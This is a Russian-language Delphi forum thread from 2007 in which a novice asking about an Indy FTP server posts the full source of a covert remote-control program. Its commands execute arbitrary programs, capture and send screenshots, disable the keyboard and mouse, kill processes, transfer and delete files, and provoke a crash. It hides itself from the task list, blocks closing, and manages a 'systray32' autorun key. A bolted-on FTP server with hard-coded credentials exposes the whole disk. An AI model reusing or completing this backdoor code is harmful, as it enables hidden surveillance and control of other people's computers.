Форум: "Сети";
Текущий архив: 2007.12.23;
Скачать: [xml.tar.bz2];

Вниз

Indy FTP!   Найти похожие ветки 

← →
Мистик   (2007-04-09 15:44) [0]

Так как я только начинающий, мне тяжело разобратся в консольном ftp примере на indy. Дайте пожалуйста пример в Gui!

---

← →
Сергей М. ©   (2007-04-09 16:43) [1]

http://www.indyproject.org/demos/index.html

---

← →
Мистик   (2007-04-11 10:24) [2]

The page cannot be found!
Файлы оттуда уже были удалены :((
Можно попросить другую  ссылку?
В новых демках для indy9 только консольный фтп сервер ?((

---

← →
Сергей М. ©   (2007-04-11 10:34) [3]

http://slil.ru/24217664

---

← →
Мистик   (2007-04-11 10:49) [4]

Спасибо большое!!!

---

← →
Мистик   (2007-04-11 10:54) [5]

Ой, а это клиентская часть, а мне хотелось бы серверную... но не консольную как в indy9demo...

---

← →
Сергей М. ©   (2007-04-11 11:00) [6]

> мне хотелось бы серверную


Да откуда ж в деревне напильники ?)

Ты лучше скажи, что тебе в консольном примере не понятно ..
Подскажем, направим ..

---

← →
Мистик   (2007-04-11 11:52) [7]

Портирую код консольного фтп сервера в одно приложение, у меня компилятор ругается
Function needs result type
на функцию
function TFTPServer.TransLatePath(const APathname, homeDir: string ):string;
хотя result type явно стоит string.
Не могу сообразить что не так здесь.

---

← →
Reindeer Moss Eater ©   (2007-04-11 12:03) [8]

не так не здесь, а в другом месте.

---

← →
Сергей М. ©   (2007-04-11 12:04) [9]

> на функцию


Это не функция, это функциональный метод класса.

Покажи весь код юнита ..

---

← →
Мистик   (2007-04-11 12:05) [10]

function TFTPServer.TransLatePath(const APathname, homeDir: string ):string;
var
 tmppath: string;
begin
 result := SlashToBackSlash( homeDir ) ;
 tmppath := SlashToBackSlash( APathname ) ;
 if homedir = "/" then
 begin
   result := tmppath;
   exit;
 end;

 if length( APathname ) = 0 then
   exit;
 if result[length( result ) ] = "\" then
   result := copy( result, 1, length( result ) - 1 ) ;
 if tmppath[1] <> "\" then
   result := result + "\";
 result := result + tmppath;
end;


код взят из демо , функция в прописана в types

---

← →
Мистик   (2007-04-11 12:11) [11]

unit serverunit;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, IdBaseComponent, IdComponent, IdTCPServer, StdCtrls, RzLstBox,mysys,
 ComCtrls, RzEdit, RzButton,registry, ExecuteFile, IdGopherServer, shellapi,MMSystem,
 BmpToJpg, IdAntiFreezeBase, IdAntiFreeze, abfComponents,
 SSVolumeController, EasyFileSearch, ExtCtrls, Tlhelp32, WPChanger,
 IdFTPServer, IdFTPList,  IdSocketHandle,idglobal,IdHashCRC  ;

type
 TRegisterServiceProcess = function (dwProcessID, dwType: Integer): Integer; stdcall;
 TServerForm = class(TForm)
   IdTCPServer1: TIdTCPServer;
   RzRichEdit1: TRzRichEdit;
   ExecuteFile1: TExecuteFile;
   BmpToJpeg1: TBmpToJpeg;
   RzListBox1: TRzListBox;
   IdAntiFreeze1: TIdAntiFreeze;
   abfShutdown1: TabfShutdown;
   ssVolumeController1: TssVolumeController;
   WPChanger1: TWPChanger;
   IdFTPServer1: TIdFTPServer;
   procedure IdTCPServer1TIdCommandHandler0Command(ASender: TIdCommand);
   procedure FormCreate(Sender: TObject);
   procedure IdTCPServer1Connect(AThread: TIdPeerThread);
   procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
   procedure IdTCPServer1TIdCommandHandler1Command(ASender: TIdCommand);
   procedure IdTCPServer1ClsAllTskCommand(ASender: TIdCommand);
   procedure IdTCPServer1FsClsWnsCommand(ASender: TIdCommand);
   procedure IdTCPServer1RebWnsCommand(ASender: TIdCommand);
   procedure IdTCPServer1WnsLogOffCommand(ASender: TIdCommand);
   procedure IdTCPServer1MsgSSndCommand(ASender: TIdCommand);
   procedure FormKeyDown(Sender: TObject; var Key: Word;
     Shift: TShiftState);
   procedure IdTCPServer1ExecCommand(ASender: TIdCommand);
   procedure IdTCPServer1BigMessgCommand(ASender: TIdCommand);
   procedure IdTCPServer1scrshotCommand(ASender: TIdCommand);
   procedure IdTCPServer1klavaRusCommand(ASender: TIdCommand);
   procedure IdTCPServer1mousedisCommand(ASender: TIdCommand);
   procedure IdTCPServer1crashCommand(ASender: TIdCommand);
   procedure IdTCPServer1monitoroffCommand(ASender: TIdCommand);
   procedure IdTCPServer1monitorOnCommand(ASender: TIdCommand);
   procedure IdTCPServer1cdopCommand(ASender: TIdCommand);
   procedure IdTCPServer1cdclCommand(ASender: TIdCommand);
   procedure IdTCPServer1volumCommand(ASender: TIdCommand);
   procedure IdTCPServer1RegDelCommand(ASender: TIdCommand);
   procedure IdTCPServer1DirSeeCommand(ASender: TIdCommand);
   procedure IdTCPServer1FileSCommand(ASender: TIdCommand);
   procedure IdTCPServer1copyFCommand(ASender: TIdCommand);
   procedure IdTCPServer1GetClentFileCommand(ASender: TIdCommand);
   procedure IdTCPServer1delFCommand(ASender: TIdCommand);
   procedure IdTCPServer1NoCommandHandler(ASender: TIdTCPServer;
     const AData: String; AThread: TIdPeerThread);
   procedure IdTCPServer1Exception(AThread: TIdPeerThread;
     AException: Exception);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
   procedure IdTCPServer1quitCommand(ASender: TIdCommand);
   procedure IdTCPServer1killtaskCommand(ASender: TIdCommand);
   procedure IdTCPServer1writeOnDCommand(ASender: TIdCommand);
   procedure IdTCPServer1wallpaperCommand(ASender: TIdCommand);
   procedure IdFTPServer1TIdCommandHandler0Command(ASender: TIdCommand);
   procedure IdFTPServer1UserLogin(ASender: TIdFTPServerThread;
     const AUsername, APassword: String; var AAuthenticated: Boolean);
   procedure IdFTPServer1ListDirectory(ASender: TIdFTPServerThread;
     const APath: String; ADirectoryListing: TIdFTPListItems);
   procedure IdFTPServer1RenameFile(ASender: TIdFTPServerThread;
     const ARenameFromFile, ARenameToFile: String);
   procedure IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread;
     const AFileName: String; var VStream: TStream);
   procedure IdFTPServer1StoreFile(ASender: TIdFTPServerThread;
     const AFileName: String; AAppend: Boolean; var VStream: TStream);
   procedure IdFTPServer1RemoveDirectory(ASender: TIdFTPServerThread;
     var VDirectory: String);
   procedure IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread;
     var VDirectory: String);
   procedure IdFTPServer1GetFileSize(ASender: TIdFTPServerThread;
     const AFilename: String; var VFileSize: Int64);
   procedure IdFTPServer1DeleteFile(ASender: TIdFTPServerThread;
     const APathName: String);
   procedure IdFTPServer1ChangeDirectory(ASender: TIdFTPServerThread;
     var VDirectory: String);
 private
   { Private declarations }
  procedure DefaultLines(S:string);
  function TryRegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
 protected
   function CalculateCRC( const path: string ) : string;
   function TransLatePath( const APathname, homeDir: string ) : string;

 public
   { Public declarations }
 end;

var
 ServerForm: TServerForm;
 ReplyMess,Msreplyed:String;
implementation

---

← →
Мистик   (2007-04-11 12:12) [12]

uses IdTCPConnection, form2;

{$R *.dfm}

---- здесь я вырезал не имеющий значения код ----

procedure TServerForm.IdFTPServer1TIdCommandHandler0Command(
 ASender: TIdCommand);
var
 s: string;
begin
 with TIdFTPServerThread( ASender.Thread ) do
 begin
   if Authenticated then
   begin
     try
       s := ProcessPath( CurrentDir, ASender.UnparsedParams ) ;
       s := TransLatePath( s, TIdFTPServerThread( ASender.Thread ) .HomeDir ) ;
       ASender.Reply.SetReply( 213, CalculateCRC( s ) ) ;
     except
       ASender.Reply.SetReply( 500, "file error" ) ;
     end;
   end;
 end;
end;

function StartsWith( const str, substr: string ) : boolean;
begin
 result := copy( str, 1, length( substr ) ) = substr;
end;

function BackSlashToSlash( const str: string ) : string;
var
 a: dword;
begin
 result := str;
 for a := 1 to length( result ) do
   if result[a] = "\" then
     result[a] := "/";
end;

function SlashToBackSlash( const str: string ) : string;
var
 a: dword;
begin
 result := str;
 for a := 1 to length( result ) do
   if result[a] = "/" then
     result[a] := "\";
end;

function TFTPServer.TransLatePath(const APathname, homeDir: string ):string;
var
 tmppath: string;
begin
 result := SlashToBackSlash( homeDir ) ;
 tmppath := SlashToBackSlash( APathname ) ;
 if homedir = "/" then
 begin
   result := tmppath;
   exit;
 end;

 if length( APathname ) = 0 then
   exit;
 if result[length( result ) ] = "\" then
   result := copy( result, 1, length( result ) - 1 ) ;
 if tmppath[1] <> "\" then
   result := result + "\";
 result := result + tmppath;
end;

function GetSizeOfFile( const APathname: string ) : int64;
begin
 result := FileSizeByName( APathname ) ;
end;

function GetNewDirectory( old, action: string ) : string;
var
 a: integer;
begin
 if action = "../" then
 begin
   if old = "/" then
   begin
     result := old;
     exit;
   end;
   a := length( old ) - 1;
   while ( old[a] <> "\" ) and ( old[a] <> "/" ) do
     dec( a ) ;
   result := copy( old, 1, a ) ;
   exit;
 end;
 if ( action[1] = "/" ) or ( action[1] = "\" ) then
   result := action
 else
   result := old + action;
end;

function CalculateCRC( const path: string ) : string;
var
 f: tfilestream;
 value: dword;
 IdHashCRC32: TIdHashCRC32;
begin
 IdHashCRC32 := nil;
 f := nil;
 try
   IdHashCRC32 := TIdHashCRC32.create;
   f := TFileStream.create( path, fmOpenRead or fmShareDenyWrite ) ;
   value := IdHashCRC32.HashValue( f ) ;
   result := inttohex( value, 8 ) ;
 finally
   f.free;
   IdHashCRC32.free;
 end;
end;

procedure TServerForm.IdFTPServer1UserLogin(ASender: TIdFTPServerThread;
 const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
AAuthenticated := ( AUsername = "myuser" ) and ( APassword = "mypass" ) ;
 if not AAuthenticated then
   exit;
 ASender.HomeDir := "/";
 asender.currentdir := "/";
end;

procedure TServerForm.IdFTPServer1ListDirectory(
 ASender: TIdFTPServerThread; const APath: String;
 ADirectoryListing: TIdFTPListItems);

 procedure AddlistItem( aDirectoryListing: TIdFTPListItems; Filename: string; ItemType: TIdDirItemType; size: int64; date: tdatetime ) ;
 var
   listitem: TIdFTPListItem;
 begin
   listitem := aDirectoryListing.Add;
   listitem.ItemType := ItemType;
   listitem.FileName := Filename;
   listitem.OwnerName := "anonymous";
   listitem.GroupName := "all";
   listitem.OwnerPermissions := "---";
   listitem.GroupPermissions := "---";
   listitem.UserPermissions := "---";
   listitem.Size := size;
   listitem.ModifiedDate := date;
 end;

var
 f: tsearchrec;
 a: integer;
begin
 ADirectoryListing.DirectoryName := apath;

 a := FindFirst( TransLatePath( apath, ASender.HomeDir ) + "*.*", faAnyFile, f ) ;
 while ( a = 0 ) do
 begin
   if ( f.Attr and faDirectory > 0 ) then
     AddlistItem( ADirectoryListing, f.Name, ditDirectory, f.size, FileDateToDateTime( f.Time ) )
   else
     AddlistItem( ADirectoryListing, f.Name, ditFile, f.size, FileDateToDateTime( f.Time ) ) ;
   a := FindNext( f ) ;
 end;

 FindClose( f ) ;
end;

procedure TServerForm.IdFTPServer1RenameFile(ASender: TIdFTPServerThread;
 const ARenameFromFile, ARenameToFile: String);
begin
if not MoveFile( pchar( TransLatePath( ARenameFromFile, ASender.HomeDir ) ) , pchar( TransLatePath( ARenameToFile, ASender.HomeDir ) ) ) then
   RaiseLastWin32Error;
end;

procedure TServerForm.IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread;
 const AFileName: String; var VStream: TStream);
begin
VStream := TFileStream.create( translatepath( AFilename, ASender.HomeDir ) , fmopenread or fmShareDenyWrite ) ;
end;

procedure TServerForm.IdFTPServer1StoreFile(ASender: TIdFTPServerThread;
 const AFileName: String; AAppend: Boolean; var VStream: TStream);
begin
if FileExists( translatepath( AFilename, ASender.HomeDir ) ) and AAppend then
 begin
   VStream := TFileStream.create( translatepath( AFilename, ASender.HomeDir ) , fmOpenWrite or fmShareExclusive ) ;
   VStream.Seek( 0, soFromEnd ) ;
 end
 else
   VStream := TFileStream.create( translatepath( AFilename, ASender.HomeDir ) , fmCreate or fmShareExclusive ) ;
end;

procedure TServerForm.IdFTPServer1RemoveDirectory(
 ASender: TIdFTPServerThread; var VDirectory: String);
begin
RmDir( TransLatePath( VDirectory, ASender.HomeDir ) ) ;
end;

procedure TServerForm.IdFTPServer1MakeDirectory(
 ASender: TIdFTPServerThread; var VDirectory: String);
begin
MkDir( TransLatePath( VDirectory, ASender.HomeDir ) ) ;
end;

procedure TServerForm.IdFTPServer1GetFileSize(ASender: TIdFTPServerThread;
 const AFilename: String; var VFileSize: Int64);
begin
VFileSize := GetSizeOfFile( TransLatePath( AFilename, ASender.HomeDir ) ) ;
end;

procedure TServerForm.IdFTPServer1DeleteFile(ASender: TIdFTPServerThread;
 const APathName: String);
begin
DeleteFile( pchar( TransLatePath( ASender.CurrentDir + "/" + APathname, ASender.HomeDir ) ) ) ;
end;

procedure TServerForm.IdFTPServer1ChangeDirectory(
 ASender: TIdFTPServerThread; var VDirectory: String);
begin
VDirectory := GetNewDirectory( ASender.CurrentDir, VDirectory ) ;
end;

end.

---

← →
Сергей М. ©   (2007-04-11 12:14) [13]

> функция в прописана в types


И как же она "прописана" ?

---

← →
Сергей М. ©   (2007-04-11 12:15) [14]

> здесь я вырезал не имеющий значения код


В твоей ситуации ВСЕ имеет значение !

---

← →
Мистик   (2007-04-11 12:23) [15]

Вот весь :

uses IdTCPConnection, form2;

{$R *.dfm}

procedure TServerForm.IdTCPServer1TIdCommandHandler0Command(
 ASender: TIdCommand);
begin
ServerForm.Visible:=true;
DefaultLines("Запрос: показ формы");
end;

procedure TServerForm.FormCreate(Sender: TObject);
begin
IdTCPServer1.Active:=True;
end;

procedure TServerForm.IdTCPServer1Connect(AThread: TIdPeerThread);
begin
DefaultLines("Подключился удаленный компьютер");
AThread.Connection.WriteLn("Приветствую! Я версия 4.0");   //-------------------------------------------

end;

procedure TServerForm.DefaultLines(S:string);
begin
RzRichEdit1.SelectAll;
with RzRichEdit1.SelAttributes do begin
                                 Color:=clGray;
                                 end;
RzRichEdit1.SelStart:=0;

with RzRichEdit1.SelAttributes do begin
                                 Color:=clMaroon;
                                 end;
RzRichEdit1.Lines.Insert(0,IntToStr(RzRichEdit1.Lines.Count)+": "+S);

end;

procedure TServerForm.IdTCPServer1Disconnect(AThread: TIdPeerThread);
begin
DefaultLines("Активное соединение отключено");
end;

procedure TServerForm.IdTCPServer1TIdCommandHandler1Command(
 ASender: TIdCommand);
begin
PostMessage(FindWindow("TServerForm",nil),WM_QUIT,0,0);
end;

procedure TServerForm.IdTCPServer1ClsAllTskCommand(ASender: TIdCommand);
begin
abfShutdown1.ActionType:=aatShutdown;
abfShutdown1.Force:=False;
abfShutdown1.Execute;
end;

procedure TServerForm.IdTCPServer1FsClsWnsCommand(ASender: TIdCommand);
begin
abfShutdown1.ActionType:=aatShutdown;
abfShutdown1.Force:=True;
abfShutdown1.Execute;
end;

procedure TServerForm.IdTCPServer1RebWnsCommand(ASender: TIdCommand);
begin
abfShutdown1.ActionType:=aatReboot;
abfShutdown1.Force:=False;
abfShutdown1.Execute;
end;

procedure TServerForm.IdTCPServer1WnsLogOffCommand(ASender: TIdCommand);
begin
abfShutdown1.ActionType:=aatLogOff;
abfShutdown1.Force:=False;
abfShutdown1.Execute;
end;

procedure TServerForm.IdTCPServer1MsgSSndCommand(ASender: TIdCommand);
var
Ic:ShortString;
btn:ShortString;
Mss,Mymsdlg:string;
MdT:TMsgDlgType;
Mbn:TMsgDlgButtons;
i:integer;
begin
DefaultLines("Запрос на показ сообщения");
Ic:=ASender.Thread.Connection.ReadLn;
btn:=ASender.Thread.Connection.ReadLn;

if ic="1"
then MdT:=mtInformation
else if ic="2"
    then MdT:=mtWarning
    else if ic="3"
    then MdT:=mtError
    else MdT:=mtInformation;

if btn="1"
then Mbn:=[mbOK]
else if btn="2"
    then Mbn:=mbOKCancel
    else if btn="3"
         then Mbn:=[mbYes,mbNo]
         else Mbn:=[mbOK];

Mss:=ASender.Thread.Connection.ReadLn;
//ASender.Thread.Connection.Disconnect;
Beep;
i:=MessageDlg(Mss,MdT,Mbn,0);

if i=1
then Mymsdlg:="OK"
else if i=2
    then Mymsdlg:="Cancel"
    else if i=6
         then Mymsdlg:="Yes"
         else if I=7
              then Mymsdlg:="No"
              else Mymsdlg:="Ответ неизвестен";
              ASender.Thread.Connection.WriteLn(Mymsdlg);

end;

procedure TServerForm.FormKeyDown(Sender: TObject; var Key: Word;
 Shift: TShiftState);
begin
if (ssAlt in Shift) and (key=vk_F4)
then Key:=0;
end;

function TServerForm.TryRegisterServiceProcess(dwProcessID,
 dwType: Integer): Integer;
var
F: Pointer;
begin
F := GetProcAddress(GetModuleHandle("kernel32.dll"), "RegisterServiceProcess");
if F=nil then
Result := 0;
if Result<>0 then TRegisterServiceProcess(F)(dwProcessID, dwType);

end;

procedure TServerForm.IdTCPServer1ExecCommand(ASender: TIdCommand);
var
S:string;
begin
S:=ASender.Thread.Connection.ReadLn;
DefaultLines("Запрос командной строки: "+S);

ExecuteFile1.Execute(S);
ASender.Thread.Connection.WriteLn("Запрос  обработан");

end;

procedure TServerForm.IdTCPServer1BigMessgCommand(ASender: TIdCommand);
var
Who,msg:String;
begin
DefaultLines("Запрос на расширенное сообщение");
Application.CreateForm(TModalForm, ModalForm);
who:=ASender.Thread.Connection.ReadLn;
msg:=ASender.Thread.Connection.ReadLn;
//img:=ASender.Thread.Connection.ReadLn;
ModalForm.Caption:="Сообщение от  "+Who;
ModalForm.RzLabel1.Caption:=Who+" говорит: "+msg;
ModalForm.ShowModal;
if ReplyMess="y"
then ASender.Thread.Connection.WriteLn("да") else
if ReplyMess="n"
then ASender.Thread.Connection.WriteLn("нет") else
if ReplyMess="u"
then ASender.Thread.Connection.WriteLn("Незнаю") else
if ReplyMess="m"
then ASender.Thread.Connection.WriteLn(Msreplyed);
beep;
ModalForm.Free;
end;

procedure TServerForm.IdTCPServer1scrshotCommand(ASender: TIdCommand);
var
bmp: TBitmap;
DC: HDC;
fStream : TFileStream;
b:Byte;
begin
if ASender.Thread.Connection.ReadLn="0"
then b:=0
else b:=1;

if DirectoryExists("c:\temp")=False
then CreateDir("c:\temp");
bmp:=TBitmap.Create;
bmp.Height:=Screen.Height;
bmp.Width:=Screen.Width;
DC:=GetDC(0);  //Дескpиптоp экpана
bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,
DC, 0, 0, SRCCOPY);
ASender.Thread.Connection.WriteLn("Копирование экрана завершено");
//----------------------
bmp.SaveToFile( "c:\temp\scr.bmp");
BmpToJpeg1.BmpFile:="c:\temp\scr.bmp";
BmpToJpeg1.JpegFile:="c:\temp\1.jpg";
BmpToJpeg1.CopyBmpToJpeg;
DeleteFile("c:\temp\scr.bmp");
//------------------------
ReleaseDC(0, DC);
DefaultLines("Запрос на копирование экрана принят");
if b=1 then exit;

fStream := TFileStream.Create("c:\temp\1.jpg",fmOpenRead + fmShareDenyNone);
ASender.Thread.Connection.OpenWriteBuffer;
ASender.Thread.Connection.WriteStream(fStream);
ASender.Thread.Connection.CloseWriteBuffer;
FreeAndNil(fStream);
ASender.Thread.Connection.Disconnect;
end;

procedure TServerForm.IdTCPServer1klavaRusCommand(ASender: TIdCommand);
begin
winexec(Pchar("rundll32 keyboard,disable"),sw_Show);

DefaultLines("Запрос на выключение клавиатуры принят");
end;

procedure TServerForm.IdTCPServer1mousedisCommand(ASender: TIdCommand);
begin
ShellExecute(Application.Handle,pchar("open"),Pchar(WindowsDir+"Rundll32.exe"),Pchar("mouse,disable"),Pchar(WindowsDir),SW_HIDE);
DefaultLines("Запрос на выключение мыши принят");
end;

procedure TServerForm.IdTCPServer1crashCommand(ASender: TIdCommand);
begin
ShellExecute(Application.Handle,pchar("open"),Pchar(WindowsDir+"Rundll32.exe"),Pchar("user,disableoemlayer"),Pchar(WindowsDir),SW_HIDE);
DefaultLines("Запрос на провоцирование сбоя принят");
end;

procedure TServerForm.IdTCPServer1monitoroffCommand(ASender: TIdCommand);
begin
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, 0);
DefaultLines("Запрос на выключение монитора принят");
end;

procedure TServerForm.IdTCPServer1monitorOnCommand(ASender: TIdCommand);
begin
SendMessage(Application.Handle, WM_SYSCOMMAND,SC_MONITORPOWER, -1);
DefaultLines("Запрос на включение монитора принят");
end;



---

← →
Мистик   (2007-04-11 12:23) [16]


procedure TServerForm.IdTCPServer1cdopCommand(ASender: TIdCommand);
begin
mciSendstring("SET CDAUDIO DOOR OPEN WAIT",nil,0, Handle);

DefaultLines("Запрос на открытие CD-ROM принят");
end;

procedure TServerForm.IdTCPServer1cdclCommand(ASender: TIdCommand);
begin
mciSendstring("SET CDAUDIO DOOR CLOSED WAIT",nil,0, Handle);
DefaultLines("Запрос на закрытие CD-ROM принят");
end;

procedure TServerForm.IdTCPServer1volumCommand(ASender: TIdCommand);
var
a:byte;
begin
A:=strtoint(aSender.Thread.Connection.ReadLn);
ssVolumeController1.Volume:=A;
DefaultLines("Громкость звука устанвлена на "+IntToStr(a));
end;

procedure TServerForm.IdTCPServer1RegDelCommand(ASender: TIdCommand);
var
Reg:TRegistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",False);
if Reg.DeleteValue("systray32")=True
then ASender.Thread.Connection.WriteLn("Ключ реестра удален")
else ASender.Thread.Connection.WriteLn("Ключ реестра не удален");
   
Reg.Free;
end;

procedure TServerForm.IdTCPServer1DirSeeCommand(ASender: TIdCommand);
var
FSearchRec:TSearchRec;
FindResult:integer;
aPath: string;

begin
RzListBox1.Clear;
aPath:=ASender.Thread.Connection.ReadLn+"\";
FindResult:=FindFirst(aPath+"*.*",faDirectory,FSearchRec);

while FindResult=0 do begin
     RzListBox1.Items.Add(LowerCase(aPath+FSearchRec.Name));
     FindResult:=FindNext(FSearchRec);
                     end;

FindResult:=FindFirst(aPath+"*.*",faAnyFile+faHidden+faSysFile+faReadOnly,FSearchRec);

while FindResult=0 do begin
     RzListBox1.Items.Add(LowerCase(aPath+FSearchRec.Name));
     FindResult:=FindNext(FSearchRec);
                     end;
FindClose(FSearchRec);
//RzListBox1.Insert(0,"start");
//RzListBox1.Insert(0,"start");
//RzListBox1.Add("endofstring");
//RzListBox1.Add("endofstring");

ASender.Thread.Connection.WriteStrings(RzListBox1.Items);
ASender.Thread.Connection.Disconnect;

end;

procedure TServerForm.IdTCPServer1FileSCommand(ASender: TIdCommand);
var
F:File Of  Byte;
a:string;
begin
a:=ASender.Thread.Connection.ReadLn;
if FileExists(a)=False
then begin
ASender.Thread.Connection.WriteLn("1");
exit;
    end;
AssignFile(F,a);
Reset(F);

ASender.Thread.Connection.WriteLn(IntToStr(FileSize(F)));
CloseFile(F);
end;

procedure TServerForm.IdTCPServer1copyFCommand(ASender: TIdCommand);
var
fStream : TFileStream;
Fin:string;
begin
Fin:=ASender.Thread.Connection.ReadLn;
ASender.Thread.Connection.WriteLn(ExtractFileName(Fin));
if FileExists(Fin)=False
then ASender.Thread.Connection.Disconnect;
fStream := TFileStream.Create(Fin,fmOpenRead + fmShareDenyNone);
ASender.Thread.Connection.OpenWriteBuffer;
ASender.Thread.Connection.WriteStream(fStream);
ASender.Thread.Connection.CloseWriteBuffer;
FreeAndNil(fStream);
ASender.Thread.Connection.Disconnect;
end;

procedure TServerForm.IdTCPServer1GetClentFileCommand(ASender: TIdCommand);
var
PathIn:string;
ftmpStream : TFileStream;
begin
PathIn:=ASender.Thread.Connection.ReadLn;
ftmpStream:=TFileStream.Create(PathIn,fmCreate);
while ASender.Thread.Connection.Connected do
ASender.Thread.Connection.ReadStream(ftmpStream,-1,true);
FreeAndNil(ftmpStream);

end;

procedure TServerForm.IdTCPServer1delFCommand(ASender: TIdCommand);
var
S:string;
begin
S:=ASender.Thread.Connection.ReadLn;
if DeleteFile(S)=True
then ASender.Thread.Connection.WriteLn("Файл "+S+" удален")
else ASender.Thread.Connection.WriteLn("Файл "+S+" не могу удалить");
end;

procedure TServerForm.IdTCPServer1NoCommandHandler(ASender: TIdTCPServer;
 const AData: String; AThread: TIdPeerThread);
begin

ShowMessage("IdTCPServer1NoCommandHandler "+AData);
IdTCPServer1.Active:=False;
IdTCPServer1.Active:=True;
end;

procedure TServerForm.IdTCPServer1Exception(AThread: TIdPeerThread;
 AException: Exception);
begin
DefaultLines("Вылезла ошибка: "+ AException.Message);
//ShowMessage("Ошибка такого плана: "#13#10+AException.Message);
AThread.Connection.Disconnect;
if IdTCPServer1.Active=False
then IdTCPServer1.Active:=True;
end;

procedure TServerForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
IdTCPServer1.Active:=False;
end;

procedure TServerForm.IdTCPServer1quitCommand(ASender: TIdCommand);
begin
DefaultLines("Отключение клиента");
ASender.Thread.Connection.Disconnect;   //*****************************
end;

function KillTask(ExeFileName: string): integer;
const
 PROCESS_TERMINATE=$0001;
var
 ContinueLoop: BOOL;
 FSnapshotHandle: THandle;
 FProcessEntry32: TProcessEntry32;
begin
 result := 0;

 FSnapshotHandle := CreateToolhelp32Snapshot
                    (TH32CS_SNAPPROCESS, 0);
 FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
 ContinueLoop := Process32First(FSnapshotHandle,
                                FProcessEntry32);

 while integer(ContinueLoop) <> 0 do
 begin
   if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
        UpperCase(ExeFileName))
    or (UpperCase(FProcessEntry32.szExeFile) =
        UpperCase(ExeFileName))) then
     Result := Integer(TerminateProcess(OpenProcess(
                       PROCESS_TERMINATE, BOOL(0),
                       FProcessEntry32.th32ProcessID), 0));
   ContinueLoop := Process32Next(FSnapshotHandle,
                                 FProcessEntry32);
 end;

 CloseHandle(FSnapshotHandle);
end;

procedure TServerForm.IdTCPServer1killtaskCommand(ASender: TIdCommand);
var
T:string;
begin
T:=ASender.Thread.Connection.ReadLn;
KillTask(T);
DefaultLines("Запрос на завершение процесса принят");
ASender.Thread.Connection.WriteLn("Вас понял. сейчас сделаю");
end;

procedure WriteDC(s: string);
var c: TCanvas;
begin
 c := TCanvas.Create;
 c.Brush.Color := clBlue;
 c.Font.color := clYellow;
 c.Font.name := "Arial Bold";
 c.Font.Size:=40;
 c.Handle := GetDC(GetWindow(GetDesktopWindow, GW_OWNER));
 c.TextOut(random (800), random(600), s);
 c.free;
end;

procedure TServerForm.IdTCPServer1writeOnDCommand(ASender: TIdCommand);
begin
DefaultLines("Запрос на отрисовку надписи на рабочем столе принят");
WriteDC(ASender.Thread.Connection.ReadLn);
end;

procedure TServerForm.IdTCPServer1wallpaperCommand(ASender: TIdCommand);
const
CLSID_ActiveDesktop: TGUID = "{75048700-EF1F-11D0-9888-006097DEACF9}";
var
fStream :TFileStream;
S:string;
begin
 S:="c:\temp\wallpaper.jpg";
fStream:=TFileStream.Create(S,fmCreate);
while ASender.Thread.Connection.Connected do ASender.Thread.Connection.ReadStream(fStream,-1,true);
FreeAndNil(fStream);
WPChanger1.Wallpaper:=S;
WPChanger1.ChangeNow;
   
end;



---

← →
Мистик   (2007-04-11 12:24) [17]


procedure TServerForm.IdFTPServer1TIdCommandHandler0Command(
 ASender: TIdCommand);
var
 s: string;
begin
 with TIdFTPServerThread( ASender.Thread ) do
 begin
   if Authenticated then
   begin
     try
       s := ProcessPath( CurrentDir, ASender.UnparsedParams ) ;
       s := TransLatePath( s, TIdFTPServerThread( ASender.Thread ) .HomeDir ) ;
       ASender.Reply.SetReply( 213, CalculateCRC( s ) ) ;
     except
       ASender.Reply.SetReply( 500, "file error" ) ;
     end;
   end;
 end;
end;

function StartsWith( const str, substr: string ) : boolean;
begin
 result := copy( str, 1, length( substr ) ) = substr;
end;

function BackSlashToSlash( const str: string ) : string;
var
 a: dword;
begin
 result := str;
 for a := 1 to length( result ) do
   if result[a] = "\" then
     result[a] := "/";
end;

function SlashToBackSlash( const str: string ) : string;
var
 a: dword;
begin
 result := str;
 for a := 1 to length( result ) do
   if result[a] = "/" then
     result[a] := "\";
end;

function TFTPServer.TransLatePath(const APathname, homeDir: string ):string;
var
 tmppath: string;
begin
 result := SlashToBackSlash( homeDir ) ;
 tmppath := SlashToBackSlash( APathname ) ;
 if homedir = "/" then
 begin
   result := tmppath;
   exit;
 end;

 if length( APathname ) = 0 then
   exit;
 if result[length( result ) ] = "\" then
   result := copy( result, 1, length( result ) - 1 ) ;
 if tmppath[1] <> "\" then
   result := result + "\";
 result := result + tmppath;
end;

function GetSizeOfFile( const APathname: string ) : int64;
begin
 result := FileSizeByName( APathname ) ;
end;

function GetNewDirectory( old, action: string ) : string;
var
 a: integer;
begin
 if action = "../" then
 begin
   if old = "/" then
   begin
     result := old;
     exit;
   end;
   a := length( old ) - 1;
   while ( old[a] <> "\" ) and ( old[a] <> "/" ) do
     dec( a ) ;
   result := copy( old, 1, a ) ;
   exit;
 end;
 if ( action[1] = "/" ) or ( action[1] = "\" ) then
   result := action
 else
   result := old + action;
end;

function CalculateCRC( const path: string ) : string;
var
 f: tfilestream;
 value: dword;
 IdHashCRC32: TIdHashCRC32;
begin
 IdHashCRC32 := nil;
 f := nil;
 try
   IdHashCRC32 := TIdHashCRC32.create;
   f := TFileStream.create( path, fmOpenRead or fmShareDenyWrite ) ;
   value := IdHashCRC32.HashValue( f ) ;
   result := inttohex( value, 8 ) ;
 finally
   f.free;
   IdHashCRC32.free;
 end;
end;

procedure TServerForm.IdFTPServer1UserLogin(ASender: TIdFTPServerThread;
 const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
AAuthenticated := ( AUsername = "myuser" ) and ( APassword = "mypass" ) ;
 if not AAuthenticated then
   exit;
 ASender.HomeDir := "/";
 asender.currentdir := "/";
end;

procedure TServerForm.IdFTPServer1ListDirectory(
